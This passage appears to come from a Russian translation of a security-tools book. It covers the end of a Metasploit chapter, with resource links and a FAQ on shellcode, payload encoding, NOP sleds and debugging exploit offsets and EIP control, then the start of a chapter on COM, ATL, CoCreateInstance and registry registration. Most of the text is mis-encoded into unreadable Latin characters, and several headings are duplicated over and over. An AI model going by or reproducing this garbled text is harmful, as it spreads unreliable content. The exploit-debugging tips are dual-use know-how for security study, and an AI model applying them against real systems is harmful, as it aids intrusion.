öåëåâîé ïëàòôîðìå è ïîëåçíîé íàãðóçêå. Ìåòîä exploit() ñîçäàåò è ïî-
ñûëàåò ñòðîêó àòàêè.

Ссылки на сайты
� www.metasploit.com. Äîìàøíÿÿ ñòðàíèöà ïðîåêòà Metasploit.
� www.nologin.org. Íà ýòîì ñàéòå ìíîãî îòëè÷íûõ òåõíè÷åñêèõ ñòàòåé

î ïðîãðàììå Meterpreter, âõîäÿùåé â Metasploit, óäàëåííîì âíåäðåíèè
áèáëèîòåê è íàïèñàíèè shell-êîäà äëÿ Windows.

� www.immunitysec.com. Êîìïàíèÿ Immunity Security ïðîäàåò êîììåð÷å-
ñêèé èíñòðóìåíò Canvas äëÿ òåñòèðîâàíèÿ íà âîçìîæíîñòü ïðîíèêíîâå-
íèÿ â ñåòü.

� www.corest.com. Êîìïàíèÿ Core Security Technologies ðàçðàáàòûâàåò
êîììåð÷åñêóþ ïðîãðàììó Core IMPACT äëÿ òåñòèðîâàíèÿ íà âîçìîæ-
íîñòü ïðîíèêíîâåíèÿ â ñåòü.

� www.eeye.com. Çäåñü âû íàéäåòå ïîäðîáíîå îïèñàíèå óÿçâèìîñòåé
Microsoft Windows è îò÷åòû îá àòàêàõ íà íèõ.
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Часто задаваемые вопросы
Ñëåäóþùèå ÷àñòî çàäàâàåìûå âîïðîñû, íà êîòîðûå îòâå÷àþò àâòîðû êíèãè,
ïðèçâàíû ïîìî÷ü âàì îöåíèòü, íàñêîëüêî õîðîøî âû ïîíÿëè èäåè, èçëî-
æåííûå â äàííîé ãëàâå, è âîçìîæíûå èõ ïðèìåíåíèÿ íà ïðàêòèêå. Åñëè âû õî-
òèòå çàäàòü àâòîðàì âîïðîñ, çàéäèòå íà ñòðàíèöó www.syngress.com/solutions
è çàïîëíèòå ôîðìó Ask the AuthorAsk the AuthorAsk the AuthorAsk the AuthorAsk the Author. Çàîäíî âû ïîëó÷èòå äîñòóï ê òûñÿ÷àì
äðóãèõ FAQîâ íà ñàéòå ITFAQnet.com.

Â:Â:Â:Â:Â: Íàäî ëè çíàòü, êàê ïèñàòü shell-êîä, äëÿ òîãî ÷òîáû ïîëüçîâàòüñÿ êàðêà-
ñîì Metasploit? 

Î:Î:Î:Î:Î: Íåò. Ïîëüçóÿñü Web-èíòåðôåéñîì msfweb èëè óòèëèòàìè msfpayload è
msfencode, ðàçðàáîò÷èê ìîæåò ïîëíîñòüþ çàáûòü î íàïèñàíèè shell-êîäà, îã-
ðàíè÷èâøèñü ëèøü êîïèðîâàíèåì ãîòîâûõ ôðàãìåíòîâ â ñâîé ýêñïëîéò.
Åñëè ýêñïëîéò ðàçðàáàòûâàåòñÿ â êàðêàñå Metasploit, òî åãî àâòîð ìîæåò íè-
êîãäà è íå óâèäåòü ïîëåçíóþ íàãðóçêó.

Â:Â:Â:Â:Â: Íóæíî ëè îáÿçàòåëüíî êîäèðîâàòü ïîëåçíóþ íàãðóçêó?
Î:Î:Î:Î:Î: Íåò. Åñëè ïîëåçíàÿ íàãðóçêà íå ñîäåðæèò íåäîïóñòèìûõ ñèìâîëîâ, òî åå

ìîæíî ïîñëàòü è â íåçàêîäèðîâàííîì âèäå. Îñíîâíàÿ çàäà÷à êîäèðîâùè-
êîâ – óñòðàíèòü íåäîïóñòèìûå ñèìâîëû.

Â:Â:Â:Â:Â: Îáÿçàòåëüíî ëè èñïîëüçîâàòü ãåíåðàòîð NOP-êîìàíä ïðè âñòðàèâàíèè
ýêñïëîéòà ê êàðêàñ? 

Î:Î:Î:Î:Î: Íåò. Ìîæåòå ïðèñâîèòü çíà÷åíèå 0 ïàðàìåòðàì MaxNops è MinNops
â õýøå Payload âíóòðè õýøà %info. Òîãäà êàðêàñ íå ñòàíåò àâòîìàòè÷åñêè äî-
áàâëÿòü NOP-êîìàíäû â ïîëåçíóþ íàãðóçêó. Ìîæíî âìåñòî ýòîãî ïåðåîïðå-
äåëèòü ìåòîäû PayloadMinOps è PayloadMinOps òàê, ÷òîáû îíè íå âîçâðàùàëè
NOP-êîìàíä.

Â:Â:Â:Â:Â: ß âû÷èñëèë ñìåùåíèå, ïîäîáðàë àäðåñ âîçâðàòà, îïðåäåëèë íåäîïóñòè-
ìûå ñèìâîëû è ìàêñèìàëüíûé ðàçìåð, óñïåøíî ñãåíåðèðîâàë è çàêîäèðîâàë
ïîëåçíóþ íàãðóçêó. Íî ïî êàêîé-òî ïðè÷èíå îòëàä÷èê ïåðåõâàòûâàåò
óïðàâëåíèå ïðîöåññîì ãäå-òî â ñåðåäèíå èñïîëíåíèÿ shell-êîäà. ß òî÷íî íå
çíàþ, ÷òî ïðîèñõîäèò, íî ñêëàäûâàåòñÿ âïå÷àòëåíèå, ÷òî ïîëåçíàÿ íàãðóçêà
èçìåíåíà. Ìíå êàçàëîñü, ÷òî ÿ âûÿâèë âñå íåäîïóñòèìûå ñèìâîëû.

Î:Î:Î:Î:Î: Ñêîðåå âñåãî, âûçûâàåòñÿ êàêàÿ-òî ôóíêöèÿ, êîòîðàÿ ìîäèôèöèðóåò
÷àñòü ñòåêà, â êîòîðîé íàõîäèòñÿ âàø ýêñïëîéò. Îáðàùåíèå ê ýòîé ôóíêöèè
ïðîèñõîäèò óæå ïîñëå òîãî, êàê ñòðîêà àòàêè ïîìåùåíà â ñòåê, íî äî çàãðóç-
êè àäðåñà âîçâðàòà â ðåãèñòð EIP. Ñëåäîâàòåëüíî, ýòà ôóíêöèÿ âñåãäà áóäåò

Часто задаваемые вопросы
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âûçûâàòüñÿ, è âû íè÷åãî íå ìîæåòå ñ ýòèì ïîäåëàòü. Ïîïðîáóéòå èçìåíèòü
âåêòîð óïðàâëåíèÿ è íå ïîìåùàòü ïîëåçíóþ íàãðóçêó â òå îáëàñòè ïàìÿòè,
êîòîðûå ïîäâåðãàþòñÿ ìîäèôèêàöèè. Ìîæíî âìåñòî ýòîãî íàïèñàòü ñïå-
öèàëüíûé shell-êîä, êîòîðûé ñ ïîìîùüþ êîìàíäû JMP îáîéäåò ýòè îáëàñòè.
Â áîëüøèíñòâå ñëó÷àåâ ïðèñòàëüíîå èçó÷åíèå îêíà ñîäåðæèìîãî ïàìÿòè ïî-
êàæåò, êàêèå îáëàñòè ìîãóò áûòü èçìåíåíû ïîñòîðîííåé ôóíêöèåé.

Â:Â:Â:Â:Â: Âñÿêèé ðàç, êàê ÿ ïûòàþñü îïðåäåëèòü ñìåùåíèå, ïîñûëàÿ äëèííóþ
ñòðîêó, îòëàä÷èê ñëèøêîì ðàíî ïåðåõâàòûâàåò óïðàâëåíèå è òâåðäèò ÷òî-òî
î íåïðàâèëüíîì àäðåñå â ïàìÿòè.

Î:Î:Î:Î:Î: Ñêîðåå âñåãî, êàêàÿ-òî ôóíêöèÿ ÷èòàåò çíà÷åíèå èç ñòåêà, ïðåäïîëàãàÿ,
÷òî òàì äîëæåí íàõîäèòüñÿ êîððåêòíûé àäðåñ è ïûòàåòñÿ ïåðåéòè ïî íåìó.
Ïîñìîòðèòå â îêíî äèçàññåìáëåðà, ýòî äîëæíî ïîìî÷ü âàì ðàçîáðàòüñÿ, êà-
êàÿ êîìàíäà ïðèâîäèò ê îøèáêå. Åñëè ïðèâëå÷ü åùå îêíî ñîäåðæèìîãî ïà-
ìÿòè, òî âû ñìîæåòå èçìåíèòü «ïëîõèå» áàéòû â ñòðîêå àòàêè, òàê ÷òîáû
îíè óêàçûâàëè íà ïðàâèëüíûé àäðåñ.

Â:Â:Â:Â:Â: ×òîáû ïðîâåðèòü, âåäåò ëè àäðåñ âîçâðàòà íà ìîþ ïîëåçíóþ íàãðóçêó, ÿ
ïîñëàë ñòðîêó áóêâ ‘à’. ß ïîëàãàë, ÷òî EIP äîëæåí óêàçûâàòü íà îäíó èç ýòèõ
áóêâ, à ïîñêîëüêó ‘a’ – ýòî íå êîððåêòíàÿ êîìàíäà, òî èñïîëíåíèå äîëæíî
ïðåêðàòèòüñÿ. Òàê ÿ è ñîáèðàëñÿ ïðîâåðèòü, ÷òî EIP óêàçûâàåò, êóäà íóæíî.
Íî íè÷åãî ïîäîáíîãî íå ïðîèñõîäèò. Êîãäà ïðîöåññ îñòàíàâëèâàåòñÿ, ñîñòî-
ÿíèå ïðîöåññà îêàçûâàåòñÿ ñîâñåì íå òàêèì, êàê ÿ îæèäàë.

Î:Î:Î:Î:Î: Îøèáêà ñîñòîèò â ïðåäïîëîæåíèè, áóäòî ñèìâîë ‘a’ îáÿçàòåëüíî âûçî-
âåò îñòàíîâ èç-çà íåñóùåñòâóþùåé êîìàíäû. Åñëè çàïèñàòü â àäðåñ âîçâðàòà
÷åòûðå ñèìâîëà ‘a’, òî èñïîëíåíèå ìîæåò è ïðåðâàòüñÿ, ïîñêîëüêó àäðåñ
0x61616161 íå îáÿçàòåëüíî ïðèíàäëåæèò ïðîãðàììå. Íî íà 32-ðàçðÿäíîì
ïðîöåññîðå x86 ñèìâîë ‘a’ ñ êîäîì 0x61 èíòåðïðåòèðóåòñÿ êàê îäíîáàéòîâàÿ
êîìàíäà POPAD, êîòîðàÿ ïîñëåäîâàòåëüíî èçâëåêàåò èç ñòåêà 32-ðàçðÿäíûå
çíà÷åíèÿ è çàãðóæàåò èõ â ðåãèñòðû EDI, ESI, EBP, â «íèêóäà» (âìåñòî çàãðóç-
êè â ESP), EBX, EDX, ECX è EAX. Åñëè EIP óêàçûâàåò íà ÿ÷åéêó, ñîäåðæàùóþ
áóêâó ‘a’, òî îí âûïîëíÿåò êîìàíäó POPAD, ÷òî ïðèâîäèò ê ìíîãîêðàòíîìó
èçâëå÷åíèþ èç ñòåêà è ïîëíîñòüþ èçìåíÿåò òåêóùåå ñîñòîÿíèå ïðîöåññà.
Â ÷àñòíîñòè, îñòàíîâ ïðîèñõîäèò ñîâñåì íå òàì, ãäå âû îæèäàëè. ×òîáû êîð-
ðåêòíî ïðîâåðèòü, ÷òî EIP óêàçûâàåò âíóòðü ïîëåçíîé íàãðóçêè, ëó÷øå ïî-
ñëàòü ñòðîêó, ñîñòîÿùóþ èç áàéòîâ 0xCC, êîòîðûå èíòåðïðåòèðóþòñÿ êàê
êîìàíäà INT 3 îñòàíîâà â êîíòðîëüíîé òî÷êå.
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Введение
Ðàçâèòûå ïðîãðàììû äëÿ îáåñïå÷åíèÿ áåçîïàñíîñòè ÷àñòî èñïîëüçóþò ôóíê-
öèîíàëüíîñòü, ðåàëèçîâàííóþ â äðóãèõ ïðîãðàììàõ. Ïîýòîìó ó àâòîðà åñòü âû-
áîð: íàïèñàòü êîä ñ íóëÿ èëè ïîâòîðíî èñïîëüçîâàòü óæå èìåþùèéñÿ êîä. Êàê
è ïðè âñÿêîì ïîâòîðíîì èñïîëüçîâàíèè, ýòî ïîâûøàåò ñêîðîñòü ðàçðàáîòêè.

Òåõíîëîãèÿ ïîâòîðíîãî èñïîëüçîâàíèÿ êîäà îïðåäåëÿåòñÿ òåì, êàê îí íàïè-
ñàí. Ëó÷øå âñåãî, åñëè íóæíûé êîä çàìêíóò è ëåãêî âêëþ÷àåòñÿ â âàø ïðîåêò
(êàê, ñêàæåì, êëàññ íà C++ èëè DLL-áèáëèîòåêà). Îäíàêî òàê áûâàåò äàëåêî íå
âñåãäà, ïîýòîìó ÷àñòî ïðèõîäèòñÿ ïîãðóæàòü êîä â àâòîíîìíûé ìîäóëü.

Òèï òàêîãî ìîäóëÿ-êîíòåéíåðà çàâèñèò îò õàðàêòåðà ïðîåêòà. ×àùå âñåãî
â ýòîì êà÷åñòâå âûñòóïàåò êëàññ íà ÿçûêå C++ èëè äèíàìè÷åñêè çàãðóæàåìàÿ
áèáëèîòåêà. Íî ÷òî åñëè òðåáîâàíèÿ èçìåíÿòñÿ èëè íîâàÿ ïðîãðàììà ðàçðà-
áàòûâàåòñÿ íà äðóãîì ÿçûêå? Ñíîâà âûïîëíÿåòñÿ ïðîöåäóðà èíòåãðàöèè èëè
êîä ïåðåïèñûâàåòñÿ.

Â ýòîé ãëàâå ìû ðàññìîòðèì äðóãîé âèä èíòåãðàöèè, êîòîðûé ïîçâîëÿåò
îáðàùàòüñÿ ê íåêîòîðîìó êîäó èç ïðîãðàììû íà äðóãîì ÿçûêå è äàæå ñ äðó-
ãîé ìàøèíû. Ýòî «ìîäåëü êîìïîíåíòíûõ îáúåêòîâ» èëè COM (Component
Object Model). Âû óçíàåòå, ÷òî òàêîå COM, êàê ðåàëèçîâàòü COM-êîìïîíåíò
ñ ïîìîùüþ áèáëèîòåêè Active Template Library (ATL) è êàê èíòåãðèðîâàòü
ýòîò êîìïîíåíò â ñóùåñòâóþùóþ ïðîãðàììó, îòíîñÿùóþñÿ ê èíôîðìàöèîí-
íîé áåçîïàñíîñòè.

Модель COM
Óâåðåííîå âëàäåíèå òåîðèåé, ëåæàùåé â îñíîâå ìîäåëè COM, íåîáõîäèìî
äëÿ ðàçðàáîòêè ïðèëîæåíèé, îñíîâàííûõ íà ýòîé òåõíîëîãèè. Íî ýòî íå òåìà
äëÿ ââîäíîãî îáçîðà. Åñòü íåìàëî äðóãèõ õîðîøèõ êíèã ïî ýòîìó ïðåäìåòó,
íàïðèìåð, «Inside COM» Äåéëà Ðîäæåðñîíà (Microsoft Press, 1996)1. Ìû æå ñòà-
âèì ñåáå öåëüþ äàòü ðàáî÷èå çíàíèÿ î íàèáîëåå ÷àñòî èñïîëüçóåìûõ ñòîðî-
íàõ òåõíîëîãèè COM, ñ êîòîðûìè âàì ïðèäåòñÿ ñòîëêíóòüñÿ.

COM – ýòî ñïåöèôèêàöèÿ, îïðåäåëÿþùàÿ äâîè÷íûé ñòàíäàðò, êîòîðûé
îïèñûâàåò âñå àñïåêòû çàãðóçêè ìîäóëÿ è äîñòóïà ê ñîäåðæàùèìñÿ â íåì
ôóíêöèÿì. Â êà÷åñòâå ïîñðåäíèêà ìåæäó ñïåöèôèêàöèåé è âàøèì êîäîì âû-
ñòóïàåò ñðåäà èñïîëíåíèÿ COM, êîòîðàÿ îòâå÷àåò çà âñå äåòàëè çàãðóçêè è äî-
ñòóïà ê îáúåêòàì ÷åðåç ãðàíèöû ïðîöåññîâ, â ÷àñòíîñòè, ïî ñåòè.

1 Èìååòñÿ ðóññêèé ïåðåâîä – Äåéë Ðîäæåðñîí «Îñíîâû COM» (Microsoft Press, Ðóññêàÿ ðå-
äàêöèÿ; 1997).
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COM3объекты

COM-îáúåêò ïîõîæ íà ëþáîé äðóãîé îáúåêò â òîì ñìûñëå, ÷òî îáëàäàåò ìå-
òîäàìè, ñâîéñòâàìè è âíóòðåííèì ñîñòîÿíèåì. Íî, â îòëè÷èå îò äðóãèõ
îáúåêòíûõ òåõíîëîãèé, äîñòóï ê ìåòîäàì è ñâîéñòâàì, îñóùåñòâëÿåòñÿ ÷åðåç
èíòåðôåéñû. Ó COM-îáúåêòà ìîæåò áûòü ìíîãî èíòåðôåéñîâ, íî âñå îíè
ÿâëÿþòñÿ ïðîèçâîäíûìè îò IUnknown (ñì. íèæå). ×òîáû ïîëó÷èòü óêàçàòåëü
íà èíòåðôåéñ îáúåêòà, íóæíî åãî çàïðîñèòü. Åñëè áûòü òî÷íûì, èíòåðôåéñ
çàïðàøèâàåòñÿ ó ñðåäû èñïîëíåíèÿ COM âî âðåìÿ çàãðóçêè îáúåêòà.

COM3интерфейсы

Ñïåöèôèêàöèÿ COM òðåáóåò, ÷òîáû ëþáîé îáúåêò ïîääåðæèâàë èíòåðôåéñ
IUnknown è ñëåäîâàë ñîãëàøåíèÿì î âûçîâå.

Èíòåðôåéñ IUnknownÈíòåðôåéñ IUnknownÈíòåðôåéñ IUnknownÈíòåðôåéñ IUnknownÈíòåðôåéñ IUnknown
Ïåðâûìè òðåìÿ ìåòîäàìè ëþáîãî COM-èíòåðôåéñà äîëæíû áûòü ìåòîäû,
óíàñëåäîâàííûå îò IUnknown: QueryInterface, AddRef è Release. Ìåòîä Query-
Interface ïîçâîëÿåò ñïðîñèòü ó îáúåêòà, ïîääåðæèâàåò ëè îí íåêèé èíòåðôåéñ.
Åñëè äà, òî âîçâðàùàåòñÿ óêàçàòåëü íà ýòîò èíòåðôåéñ, â ïðîòèâíîì ñëó÷àå –
êîä îøèáêè.

Äëÿ óïðàâëåíèÿ âðåìåíåì æèçíè COM-îáúåêòîâ ïðèìåíÿåòñÿ ïîäñ÷åò ññû-
ëîê, ýòîé öåëè ñëóæàò ìåòîäû AddRef è Release. Êàê ÿâñòâóåò èç íàçâàíèé,
AddRef óâåëè÷èâàåò ñ÷åò÷èê ññûëîê íà åäèíèöó, à Release óìåíüøàåò åãî. Åñëè
íåêîòîðàÿ ôóíêöèÿ âîçâðàùàåò óêàçàòåëü íà èíòåðôåéñ â ñâîåì âûõîäíîì
ïàðàìåòðå, òî ñ÷åò÷èê ññûëîê íà íåãî íåîáõîäèìî óâåëè÷èòü. Êîãäà ðàáîòà
ñ èíòåðôåéñîì çàêîí÷åíà, êëèåíò äîëæåí âûçâàòü Release.

Ñîãëàøåíèå î âûçîâåÑîãëàøåíèå î âûçîâåÑîãëàøåíèå î âûçîâåÑîãëàøåíèå î âûçîâåÑîãëàøåíèå î âûçîâå
Ñïåöèôèêàöèÿ òðåáóåò, ÷òîáû âñå ìåòîäû èíòåðôåéñà ïîääåðæèâàëè òàê íà-
çûâàåìîå «ñòàíäàðòíîå ñîãëàøåíèå î âûçîâå». Äëÿ ýòîãî â îáúÿâëåíèå è
â îïðåäåëåíèå ôóíêöèè íåîáõîäèìî âêëþ÷èòü ìîäèôèêàòîð __stdcall, êîòî-
ðûé ãîâîðèò êîìïèëÿòîðó, ÷òî âûçûâàåìàÿ ôóíêöèÿ äîëæíà ïî÷èñòèòü ñòåê
ïåðåä âîçâðàòîì. Âîò ïðèìåð îïðåäåëåíèÿ ôóíêöèè, ñëåäóþùåé ýòîìó ñîãëà-
øåíèþ:

int __stdcall MyFunction()
{
  return 10;
}

Модель COM
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Среда исполнения COM

Èìåííî ñðåäà èñïîëíåíèÿ âûïîëíÿåò äåéñòâèÿ, íåîáõîäèìûå äëÿ òîãî, ÷òî-
áû êëèåíò ìîã îáðàòèòüñÿ ê COM-îáúåêòó. Íî ïðåäâàðèòåëüíî åå ñëåäóåò
èíèöèàëèçèðîâàòü. Äëÿ èíèöèàëèçàöèè âûçûâàåòñÿ ôóíêöèÿ CoInitial ize èëè
CoInitial izeEx. Ðàçíèöà ìåæäó íèìè â òîì, ÷òî  CoInitial izeEx  ïîçâîëÿåò óêà-
çàòü ïîòîêîâóþ ìîäåëü. Ïðîùå ãîâîðÿ, ñðåäà èñïîëíåíèÿ COM ãàðàíòèðóåò,
÷òî ëþáîé äîñòóï êëèåíòà ê îáúåêòó è íàîáîðîò íå áóäåò ïðîòèâîðå÷èòü
âûáðàííîé ïîòîêîâîé ìîäåëè. Åñëè çàäàíû íåñîâìåñòèìûå óñëîâèÿ, òî ñðåäà
èñïîëíåíèÿ ïîñòàðàåòñÿ èñïðàâèòü ñèòóàöèþ, çàãðóçèâ ìîäóëü-çàìåñòèòåëü.
Ýòî ïðîöåññ ïðîçðà÷åí äëÿ êëèåíòà, è â îäíîïîòî÷íûõ ïðîãðàììàõ íà íåãî
ìîæíî íå îáðàùàòü âíèìàíèÿ. Ïî çàâåðøåíèè ðàáîòû íóæíî âûçâàòü ôóí-
êöèþ CoUninitial ize áåç àðãóìåíòîâ, ÷òîáû îñâîáîäèòü çàíÿòûå  ñðåäîé èñ-
ïîëíåíèÿ ðåñóðñû.

Êîãäà ñðåäà èñïîëíåíèÿ çàãðóæåíà, êëèåíò ìîæåò çàïðîñèòü èíòåðôåéñ
ó ëþáîãî îáúåêòà, çàðåãèñòðèðîâàííîãî â ëîêàëüíîé èëè óäàëåííîé ñèñòåìå.
Â ïåðâîì ñëó÷àå ýòî äåëàåò ôóíêöèÿ CoCreateInstance, âî âòîðîì – CoCrea-
teInstanceEx. Ïðîòîòèï ôóíêöèè CoCreateInstance ñëåäóþùèé:

STDAPI CoCreateInstance(
  REFCLSID rclsid,
  LPUNKNOWN pUnkOuter,
  DWORD dwClsContext,
  REFIID riid,
  LPVOID * ppv
);

Íàèáîëüøèé èíòåðåñ ïðåäñòàâëÿþò ïàðàìåòðû rclsid, dwClsContext, riid è
ppv. Ïàðàìåòð pUnkOuter ïðèìåíÿåòñÿ äëÿ àãðåãèðîâàíèÿ, ìû î íåì ãîâîðèòü
íå áóäåì. Ïàðàìåòð rclsid îïðåäåëÿåò, êàêîé îáúåêò äîëæåí áûòü çàãðóæåí.
Ôëàã dwClsContext ãîâîðèò, êóäà ñëåäóåò çàãðóæàòü îáúåêò: â êëèåíòñêèé ïðî-
öåññ èëè â îòäåëüíûé.

Ñðåäà èñïîëíåíèÿ COM îïîçíàåò COM-îáúåêòû ïî ãëîáàëüíî óíèêàëüíî-
ìó èäåíòèôèêàòîðó (GUID). Â êà÷åñòâå ñèíîíèìîâ àááðåâèàòóðû GUID óïîò-
ðåáëÿþòñÿ òàêæå CLSID è IID. Âûøå áûëî ïîêàçàíî, ÷òî ôóíêöèÿ CoCrea-
teInstance ïðèíèìàåò àðãóìåíò òèïà REFCLSID, èäåíòèôèöèðóþùèé îáúåêò.
Êðîìå òîãî, îíà ïðèíèìàåò åùå èäåíòèôèêàòîð IID òîãî èíòåðôåéñà, êîòî-
ðûé íóæíî çàïðîñèòü ó îáúåêòà ïîñëå òîãî, êàê îí áóäåò çàãðóæåí. Îòêóäà
áåðóòñÿ ýòè âåëè÷èíû, ìû óçíàåì ïîçæå, êîãäà áóäåò ãîâîðèòü î ðåãèñòðàöèè
COM-îáúåêòîâ.

Íèæå ïðèâåäåí ïðèìåð èíèöèàëèçàöèè COM, ñîçäàíèÿ COM-îáúåêòà è
çàâåðøåíèÿ.
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void main()
{
   HRESULT hr;
   IXMLDOMDocument *pDoc = 0;

   // Èíèöèàëèçèðîâàòü COM
   CoInitialize(0);

   // Èíèöèàëèçèðîâàòü ýêçåìïëÿð àíàëèçàòîðà MSXML, äëÿ êîòîðîãî
   // CLSID ðàâåí CLSID_DOMDocument
   hr = CoCreateInstance(
      CLSID_DOMDocument,
      NULL,
      CLSCTX_INPROC_SERVER,
      IID_IXMLDOMDocument,
      (PVOID*)&pDoc);

   if (SUCCEEDED(hr) && pDoc)
   {
      // Ñäåëàòü ÷òî-òî ñ óêàçàòåëåì íà èíòåðôåéñ pDoc
      pDoc->Release();
   }

   // Çàâåðøèòü ðàáîòó ñ COM
   CoUninitialize();
}

Реализация COM3объекта

Êëèåíò îáðàùàåòñÿ êî âñåì COM-îáúåêòàì ïî åäèíîé ñõåìå, íå çàâèñÿùåé îò
ðåàëèçàöèè ñàìîãî îáúåêòà. Íî ýòî âîâñå íå îçíà÷àåò, ÷òî âñå îáúåêòû ðåà-
ëèçóþòñÿ îäèíàêîâî. Íàïðèìåð, ñðåäà èñïîëíåíèÿ COM ïîääåðæèâàåò âíóòðè-
ïðîöåññíûå (òèïà DLL) è âíåïðîöåññíûå (èñïîëíÿåìûé ôàéë) îáúåêòû.

Åñëè âûáðàíà âíóòðèïðîöåññíàÿ ìîäåëü, òî ñðåäà èñïîëíåíèÿ îæèäàåò, ÷òî
ñîäåðæàùèé COM-îáúåêò ìîäóëü (DLL) ðåàëèçóåò îïðåäåëåííóþ ôóíêöèî-
íàëüíîñòü, â ÷àñòíîñòè, ýêñïîðòèðóåò íåêîòîðûå ôóíêöèè.

Åñëè æå îáúåêò âíåïðîöåññíûé, òî äîëæíû óäîâëåòâîðÿòüñÿ äðóãèå óñëî-
âèÿ. Âìåñòî âûçîâà ýêñïîðòèðóåìûõ ôóíêöèé, ñðåäà èñïîëíåíèÿ îðãàíèçóåò
òîò èëè èíîé âèä ìåæïðîöåññíîé êîììóíèêàöèè. Âïðî÷åì, ýòà òåìà âûõîäèò
çà ðàìêè ââåäåíèÿ, è îáñóæäàòü åå ìû íå áóäåì.

Âñÿêèé ìîäóëü äîëæåí ðåàëèçîâûâàòü ñðåäè ïðî÷åãî ïðîöåäóðû ðåãèñòðà-
öèè è àêòèâàöèè. Íà ýòàïå ðåãèñòðàöèè îáúåêò èíôîðìèðóåò ñðåäó èñïîëíåíèÿ
î ñïîñîáå ñâîåé çàãðóçêè: êàê âíóòðèïðîöåññíûé èëè âíåïðîöåññíûé ñåðâåð.

Ðåãèñòðàöèÿ COM-îáúåêòàÐåãèñòðàöèÿ COM-îáúåêòàÐåãèñòðàöèÿ COM-îáúåêòàÐåãèñòðàöèÿ COM-îáúåêòàÐåãèñòðàöèÿ COM-îáúåêòà
Êîãäà ïðèëîæåíèå óñòàíàâëèâàåòñÿ íà êîìïüþòåð, èíñòàëëÿòîð îáû÷íî ðå-
ãèñòðèðóåò âñå âõîäÿùèå â åãî ñîñòàâ COM-îáúåêòû. Èìåííî â ïðîöåññå ðå-
ãèñòðàöèè ñðåäà èñïîëíåíèÿ COM óçíàåò î ñóùåñòâîâàíèè îáúåêòà.

Модель COM
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Åñëè COM-îáúåêò ïðåäñòàâëÿåò ñîáîé âíóòðèïðîöåññíóþ DLL, òî åãî
ìîæíî çàðåãèñòðèðîâàòü âðó÷íóþ ñ ïîìîùüþ óòèëèòû RegSvr32. Åñëè æå
ýòî âíåïðîöåññíûé èñïîëíÿåìûé ôàéë, òî äëÿ ðåãèñòðàöèè âðó÷íóþ îí
îáû÷íî âûçûâàåòñÿ ñ ôëàãîì /regserver. Êàê áû òî íè áûëî, äåéñòâèÿ, âûïîë-
íÿåìûå â õîäå ðåãèñòðàöèè, èìåþò îãðîìíîå çíà÷åíèå äëÿ ðåàëèçàöèè
COM-îáúåêòîâ.

Âûøå óæå óïîìèíàëîñü, ÷òî COM-îáúåêò èäåíòèôèöèðóåòñÿ ãëîáàëüíî
óíèêàëüíûì çíà÷åíèåì CLSID. Î÷åâèäíî, ÷òî ñðåäà èñïîëíåíèÿ COM äîëæíà
çíàòü ýòîò èäåíòèôèêàòîð, ÷òîáû ñâÿçàòü ñ íèì îáúåêò. Òóò-òî è ïðèõîäèò íà
ïîìîùü ðåãèñòðàöèÿ.

Îñíîâíîå õðàíèëèùå ðåãèñòðàöèîííîé èíôîðìàöèè î êîìïîíåíòàõ –
ýòî, åñòåñòâåííî, ðååñòð Windows. Ðååñòð ïðåäñòàâëÿåò ñîáîé åäèíóþ áàçó
êîíôèãóðàöèîííûõ äàííûõ, óïðàâëÿåìóþ îïåðàöèîííîé ñèñòåìîé. Ýòî
èåðàðõè÷åñêîå õðàíèëèùå, îðãàíèçîâàííîå â âèäå äåðåâà. Âíóòðè ðååñòðà
åñòü íåñêîëüêî îòäåëüíûõ áàç äàííûõ èëè «óëüåâ» (hives). Îáû÷íî èõ èìåíó-
þò ïî íàçâàíèÿì êëþ÷åé âåðõíåãî óðîâíÿ: HKEY_LOCAL_MACHINE,
HKEY_CLASSES_ROOT è òàê äàëåå. Äàííûå õðàíÿòñÿ â ðååñòðå â âèäå ïàð
«èìÿ / çíà÷åíèå». Âñå èìåíà – ýòî ñòðîêè, çíà÷åíèÿ æå ìîãóò áûòü ñòðîêàìè,
öåëûìè ÷èñëàìè òèïà DWORD èëè äâîè÷íûìè äàííûìè. Äëÿ ïðîñìîòðà è
èçìåíåíèÿ ðååñòðà ñëóæèò óòèëèòà RegEdit (ðèñ. 13.1).

Рис. 13.1. Рис. 13.1. Рис. 13.1. Рис. 13.1. Рис. 13.1. Использование RegEdit
для просмотра реестра Windows

Îòíîñÿùàÿñÿ ê COM èíôîðìàöèÿ õðàíèòñÿ â óëüå HKEY_CLASSES_ROOT.
Íèæå îïèñûâàåòñÿ òà ÷àñòü ñòðóêòóðû ýòîãî óëüÿ, êîòîðàÿ èìååò îòíîøåíèå
ê ðåãèñòðàöèè.
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Êëþ÷ HKEY_CLASSES_ROOT\CLSIDÊëþ÷ HKEY_CLASSES_ROOT\CLSIDÊëþ÷ HKEY_CLASSES_ROOT\CLSIDÊëþ÷ HKEY_CLASSES_ROOT\CLSIDÊëþ÷ HKEY_CLASSES_ROOT\CLSID
Êëþ÷ ðååñòðà HKEY_CLASSES_ROOT\CLSID – ýòî êîíòåéíåð äëÿ âñåõ çàðåãè-
ñòðèðîâàííûõ â ñèñòåìå êîìïîíåíòîâ, èíäåêñèðîâàííûé çíà÷åíèåì CLSID.
Ëþáîé êîìïîíåíò îáÿçàí çàðåãèñòðèðîâàòü ñâîé CLSID ïîä ýòèì êëþ÷îì.

Êëþ÷ HKEY_CLASSES_ROOT\CLSID\Êëþ÷ HKEY_CLASSES_ROOT\CLSID\Êëþ÷ HKEY_CLASSES_ROOT\CLSID\Êëþ÷ HKEY_CLASSES_ROOT\CLSID\Êëþ÷ HKEY_CLASSES_ROOT\CLSID\
{xxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx}{xxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx}{xxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx}{xxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx}{xxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx}
Íàëè÷èå êëþ÷à CLSID âíóòðè HKEY_CLASSES_ROOT\CLSID îçíà÷àåò, ÷òî
COM-îáúåêò çàðåãèñòðèðîâàí. Çíà÷åíèåì ýòîãî êëþ÷à ïî óìîë÷àíèþ ÿâëÿ-
åòñÿ ïîíÿòíîå ÷åëîâåêó èìÿ êîìïîíåíòà, íàïðèìåð, Msxml. Ýòîò êëþ÷ äîë-
æåí èìåòü ïîòîìêà, îïèñûâàþùåãî âîçìîæíûå ñïîñîáû ñîçäàíèÿ, ê ïðèìå-
ðó, InprocServer32 èëè LocalServer32. Êàê ñëåäóåò èç íàçâàíèé, InprocServer32
